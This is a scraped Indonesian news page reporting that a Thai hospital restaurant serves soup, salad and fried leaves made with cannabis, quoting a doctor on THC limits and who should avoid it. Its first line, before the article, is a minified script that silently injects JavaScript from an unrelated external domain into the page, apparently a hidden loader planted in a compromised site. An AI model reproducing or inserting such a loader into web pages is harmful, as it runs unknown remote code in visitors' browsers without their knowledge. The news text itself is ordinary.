(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Lifestyle

Salad Hingga Sup Ganja Disajikan di Rumah Sakit Thailand, Ada Efeknya?


KANALKALIMANTAN.COM – Jika ganja biasanya digunakan sebagai obat menghilangkan rasa sakit, sebuah rumah sakit di Thailand mencoba memanfaatkan ganja dengan cara berbeda.

Lewat makanan, ganja digunakan sebagai salah satu bahan pembuat sup, salad hingga daun mariyuana goreng.

Menyadur France24, Sabtu (16/1/2021), sejak tahun 2018 Thailand sudah melegalkan ganja sebagai salah satu tanaman medis.

Dokter Pakakrong Kwankhao, Kepala Pusat Pengobatan Tradisional dan Herbal Thailand yang berbasis di Pusat Bukti di Rumah Sakit Chao Phya Abhaibhubejhr menyambut positif hal ini.

 

“Ini menandai kembali ke masa lalu kuliner Thailand. Menambah daun ganja dalam makanan adalah budaya kami,” katanya.

Pakakrong Kwankhao mengatakan sebelum ganja dilarang, warga Thailand selalu menggunakan sedikit ganja dalam masakan sebagai bumbu penyedap.

“Kami juga menggunakannya sebagai obat herbal,” lanjutnya.

Di restoran rumah sakitnya, menu ganja kini kembali ditemui dengan olahan yang menggugah selera.

“Jumlah THC di tanaman segar sangat kecil, tapi restoran memiliki batas maksimum lima daun per pelanggan,” kata Pakakrong.

Di dapur, koki mengolah daun ganja dan menggorengnya hingga renyah keemasan, sementara yang lain menaburkannya ke dalam wajan berisi daging cincang dengan cabai.

Dokter ini mengatakan ganja dengan jumlah kecil bisa meningkatkan mood, fokus dan juga kreativitas. Namun tak semua orang cocok mengkonsumsi ganja.

“Mereka yang sedang hamil atau dengan gangguan kesehatan tertentu harus menghindari menu yang mengandung gulma,” ujarnya.

Salah satu pengunjung mengatakan senang bisa menikmati ganja secara legal di Thailand. Desainer perhiasan asal Prancis ini mengaku sangat bahagia saat menikmati makanannya.

“Apakah kita tertawa karena apa yang kita makan? Lagipula saya tidak berpikir sepenuhnya,” kata Thierry Martino. (suara.com)


Al Ghifari

Recent Posts

Unjuk Rasa Mahasiswa Banjarmasin di Hari Buruh Sedunia

KANALKALIMANTAN.COM, BANJARMASIN - Memperingati Hari Buruh Sedunia atau May Day, puluhan mahasiswa dari Himpunan Mahasiswa… Read More

9 menit ago

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

4 jam ago

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

5 jam ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

5 jam ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

6 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

6 jam ago

This website uses cookies.